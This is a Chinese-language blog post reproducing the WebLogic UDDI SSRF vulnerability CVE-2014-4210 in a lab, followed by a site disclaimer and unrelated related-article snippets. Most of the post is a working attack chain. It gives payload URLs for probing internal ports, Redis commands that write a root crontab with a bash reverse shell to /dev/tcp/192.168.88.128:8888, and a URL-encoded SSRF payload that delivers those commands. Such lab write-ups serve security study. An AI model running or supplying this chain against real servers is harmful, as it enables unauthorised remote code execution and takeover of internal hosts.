Weblogic SSRF漏洞 [CVE-2014-4210]

漏洞復現環境搭建請參考

http://t.csdnimg.cn/svKal

docker未能成功啟動redis請參考

http://t.csdnimg.cn/5osP3

漏洞原理

Weblogic的uddi組件提供了從其他服務器應用獲取數據的功能并且沒有對目標地址做過濾和限制,造成了SSRF漏洞,利用該漏洞可以向內網中其他服務器發送任意HTTP請求。

漏洞版本

weblogic 10.0.2 -- 10.3.6.0

漏洞驗證

(1)訪問web站點,weblogic經典頁面

(2)weblogicscan掃描,發現存在漏洞,進行SSRF漏洞復現操作

(3)或者訪問以下組件所在路徑,出現以下頁面則證明存在該漏洞

uddiexplorer/SearchPublicRegistries.jsp
http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp

漏洞利用

(1)利用以下payload探測內網狀態

#提交參數值為url:port,根據返回錯誤不同,可對內網狀態進行探測
#http://xxxx:xxxx/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://xxxx:xx
http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.88.128:80

(2)獲取內網中redis的Ip,對其進行探測

(3)利用上面的payload形式探測redis是否開放服務

http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379

(4)redis開啟服務,攻擊機開啟監聽

(5)利用redis計劃任務進行反彈shell

set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/192.168.88.128:8888 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save#url編碼(修改IP和端口號即可)
http://192.168.88.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.88.128%2F8888%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

(6)成功反彈shell

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/17499.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/17499.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/17499.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【AJAX前端框架】Asynchronous Javascript And Xml

1 傳統請求及缺點 傳統的請求都有哪些? 直接在瀏覽器地址欄上輸入URL。點擊超鏈接提交form表單使用JS代碼發送請求 window.open(url)document.location.href urlwindow.location.href url… 傳統請求存在的問題 頁面全部刷新導致了用戶的體驗較差。傳統的請求導…

安泰電子:高壓功率放大器應用場合介紹

高壓功率放大器是一種電子設備,用于將低電壓信號放大到較高電壓水平,以滿足各種應用需求。它在多個領域中具有廣泛的應用,包括科學研究、工業生產、通信技術以及醫療設備。下面安泰電子將介紹高壓功率放大器的應用場合。 科學研究 高壓功率放…

【最優化方法】實驗一 熟悉MATLAB基本功能

實驗一  熟悉MATLAB基本功能 實驗的目的和要求:在本次實驗中,通過親臨使用MATLAB,對該軟件做一全面了解并掌握重點內容。 實驗內容: 1、全面了解MATLAB系統 2、實驗常用工具的具體操作和功能 學習建…

在Open AI的Assistant API中,Thread代表什么?

在OpenAI的Assistant API中,Thread通常代表一系列相關的對話,保持對話的上下文和連貫性。這對于創建連續對話非常重要,因為它允許模型記住先前的交互,并在隨后的響應中參考這些信息。 具體作用 保持上下文:Thread可以…

深入學習Python:掌握面向對象編程

在上一篇文章中,我們介紹了Python的基本語法和概念,包括變量、數據類型、條件語句、循環、函數和文件操作。接下來,我們將深入探討Python的面向對象編程(OOP)特性,這是現代編程中的一個重要概念。通過這篇文章,你將學會如何使用類和對象來組織和管理你的代碼。 1. 面向…

哇!數據中臺竟是企業數字化轉型的關鍵力量!

在當今數字化浪潮席卷的時代,數據中臺正成為企業實現數字化轉型的關鍵力量。那么,究竟什么是數據中臺呢?它乃是一種持續讓企業數據活躍起來的機制,能夠將企業內各部分數據匯聚至一個平臺,達成數據的統一化管理。 數據中…

Linux快速定位日志 排查bug技巧和常用命令

1. 快速根據關鍵字定位錯誤信息 grep 在 Linux 系統中,可以使用 grep 命令來查找日志文件中包含特定關鍵字的行。假設你的日志文件路徑為 /var/log/myapp.log,你想要查找包含關鍵字 "abc" 的日志內容,可以按照以下步驟操作&#…

機器學習中的距離公式

1. 歐式距離 (Euclidean Distance) 公式: [ d ( p , q ) = ∑ i = 1 n ( p i ? q i

Intel base instruction -- cmove

Conditional Move&#xff1b;以操作碼&#xff08;條件碼&#xff09;區分不同的移動條件。 opcode 以 0F 4* 打頭&#xff1b; /*509a: eb 0b jmp 50a7 <__sprintf_chkplt0x2937> 509c: 0f 1f 40 00 nopl 0x0(%rax)*/…

TIM(Timer)簡介

TIM&#xff08;Timer&#xff09;定時器介紹 定時器可以對輸入的時鐘進行計數&#xff0c;并在計數值達到設定值時觸發中斷16位計數器、預分頻器、自動重裝寄存器的時基單元&#xff0c;在72MHz計數時鐘下可以實現最大59.65s的定時不僅具備基本的定時中斷功能&#xff0c;而且…

maven的下載以及配置的詳細教程(附網盤下載地址)

文章目錄 下載配置IDEA內部使用配置 下載 1.百度網盤下載 鏈接: https://pan.baidu.com/s/1LD9wOMFalLL49XUscU4qnQ?pwd1234 提取碼: 1234 2.解壓即可 配置 1.打開安裝文件下conf下的settings.xml文件&#xff0c;我的如下 2.修改配置信息&#xff08;目的是為了修改本地…

【Fiddler抓包工具】第五節.安卓、IOS抓包+fildder插件

文章目錄 前言一、HTTPS抓包 1.1 HTTPS與HTTP區別 1.2 HTTPS抓包設置過程 1.3 錯誤解決方法 1.4 驗證證書是否安裝成功 1.5 Firefox HTTPS請求捕獲二、IOS設備APP抓包 2.1 APP抓包Fiddler設置 2.2 APP抓包IOS設備設置 2.3 And…

【Redis】 關于 Redis 集合類型

文章目錄 &#x1f343;前言&#x1f333;普通命令&#x1f6a9;sadd&#x1f6a9;smembers&#x1f6a9;sismember&#x1f6a9;scard&#x1f6a9;spop&#x1f6a9;smove&#x1f6a9;srem &#x1f332;集合間操作&#x1f6a9;sinter&#x1f6a9;sinterstore&#x1f6a9…

C# --- 浮點數類型 float, double, decimal

C# --- 浮點數類型 float, double, decimal float, double, decimaldecimal float, double, decimal decimal double 和 float 的采用base 2, 不能精確的表示浮點數, 進行加減乘除的操作的時候會出現精度丟失的問題decimal 采用base 10&#xff0c;可以精確的表示浮點數&#x…

客戶體驗:電子元器件商城配送滿意度調查

背景介紹 電子元器件商城為了提升配送服務質量&#xff0c;決定開展配送滿意度調查&#xff0c;以了解客戶對配送服務的評價和意見。通過客戶的反饋&#xff0c;商城將進一步優化配送流程&#xff0c;提高客戶滿意度&#xff0c;增強市場競爭力。 調查內容 配送時效性&#xf…

linux 之dma_buf (4)- mmap

一、前言 前面幾篇都是在 kernel space 對 dma-buf 進行訪問的&#xff0c;本篇我們將一起來學習&#xff0c;如何在 user space 訪問 dma-buf。當然&#xff0c;user space 訪問 dma-buf 也屬于 CPU Access 的一種。 二、mmap 為了方便應用程序能直接在用戶空間讀寫 dma-bu…

nbcio-vue升級遷移flowable到最新的jeeg-boot-vue3的問題記錄(一)

因為這個項目license問題無法開源&#xff0c;更多技術支持與服務請加入我的知識星球。 1、vue3 jeeg-boot-vue3新版本的流程定義的頁面&#xff0c;刷新出現下面問題&#xff0c;或第一次進去也一樣 看著好像就一個警告的信息&#xff0c;不知道是什么原因引起的&#xff0c;應…

111.二叉樹的最小深度

給定一個二叉樹&#xff0c;找出其最小深度。 最小深度是從根節點到最近葉子節點的最短路徑上的節點數量。 說明: 葉子節點是指沒有子節點的節點。 示例: 給定二叉樹 [3,9,20,null,null,15,7], 返回它的最小深度 2. 思路&#xff1a; 后序遍歷&#xff08;左右中&#xff…

深入理解 Nginx Concat 模塊:示例、安裝和使用方法

Nginx 是一個高性能的開源 Web 服務器,廣泛用于構建可靠的 Web 應用程序和服務。其中的 Concat 模塊為用戶提供了在服務器端快速合并和傳輸多個文件的能力,從而提高了網頁加載速度和性能。在本文中,我們將深入探討 Nginx Concat 模塊的安裝、示例以及使用場景。 什么是 Ngi…

【設計模式深度剖析】【5】【結構型】【橋接模式】| 以電視和遙控器為例加深理解

&#x1f448;?上一篇:組合模式 設計模式-專欄&#x1f448;? 目 錄 橋接模式(Bridge Pattern)定義英文原話是&#xff1a;直譯理解 4個角色UML類圖代碼示例 應用優點缺點使用場景 示例解析&#xff1a;電視和遙控器UML類圖 橋接模式(Bridge Pattern) 定義 英文原話是&am…